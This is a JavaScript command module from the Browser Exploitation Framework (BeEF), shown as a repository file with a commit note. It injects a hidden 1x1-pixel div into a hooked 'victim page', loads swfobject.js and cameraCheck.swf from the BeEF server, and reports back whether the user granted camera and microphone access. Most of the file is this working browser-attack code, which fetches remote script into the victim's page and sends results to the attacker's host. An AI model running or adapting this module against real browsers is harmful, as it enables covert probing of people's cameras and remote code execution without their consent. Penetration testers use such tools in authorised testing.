21417dc3e2
`beef.http.https.enable` Now uses the `beef.net.httpproto` value rather than a hard-coded protocol string. Part of issue #745
80 lines
4.3 KiB
JavaScript
80 lines
4.3 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
|
|
beef.execute(function() {
|
|
|
|
|
|
//These 3 functions [naPermissions() The camera is not available or not supported
|
|
// yesPermissions() The user is allowing access to the camera / mic
|
|
// yesPermissions() The user has not allowed access to the camera / mic
|
|
// Flash will invoke these functions directly.
|
|
//var js_functions = '<script>function noPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has not allowed BeEF to access the camera :("); }; function yesPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D"); }; function naPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/"); }; ';
|
|
|
|
//This function is called by swfobject, if if fails to add the flash file to the page
|
|
|
|
//js_functions += 'function swfobjectCallback(e) { if(e.success){beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");}else{beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");} };</script>';
|
|
|
|
//These functions are global so they can accessed by the cameraCheck.swf file
|
|
|
|
noPermissions = function() {
|
|
beef.net.send("<%= @command_url %>",<%= @command_id %>,"result=The user has not allowed BeEF to access the camera :(");
|
|
}
|
|
|
|
yesPermissions = function() {
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D");
|
|
}
|
|
|
|
naPermissions = function() {
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/&unmount=true");
|
|
}
|
|
|
|
//After the swfobject loads the SWF file, this callback sends a status back to BeEF
|
|
|
|
var swfobjectCallback = function(e) {
|
|
if(e.success){
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");
|
|
} else {
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");
|
|
}
|
|
}
|
|
|
|
|
|
//This is the DIV for the flash object
|
|
|
|
var body_flash_container = '<div id="main" style="position:absolute;top:150px;left:80px;width:1px;height:1px;opacity:0.8;"></div>';
|
|
$j('body').append(body_flash_container);
|
|
|
|
// Lets execute swfobject.js
|
|
// If it works, we then run it to embed the swf file into the above div
|
|
$j.getScript(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js',function(data,txtStatus,jqxhr) {
|
|
var flashvars = {};
|
|
var parameters = {};
|
|
parameters.scale = "noscale";
|
|
parameters.wmode = "opaque";
|
|
parameters.allowFullScreen = "true";
|
|
parameters.allowScriptAccess = "always";
|
|
var attributes = {};
|
|
swfobject.embedSWF(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf', "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);
|
|
});
|
|
|
|
//A library that helps include the swf file
|
|
//var swfobject_script = '<script type="text/javascript" src="'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></script>'
|
|
|
|
//This is the javascript that actually calls the swfobject library to include the swf file
|
|
//var include_script = '<script>var flashvars = {}; var parameters = {}; parameters.scale = "noscale"; parameters.wmode = "opaque"; parameters.allowFullScreen = "true"; parameters.allowScriptAccess = "always"; var attributes = {}; swfobject.embedSWF("'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf", "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);</script>';
|
|
|
|
|
|
//Add flash content
|
|
//$j('body').append(js_functions, swfobject_script, body_flash_container, include_script);
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|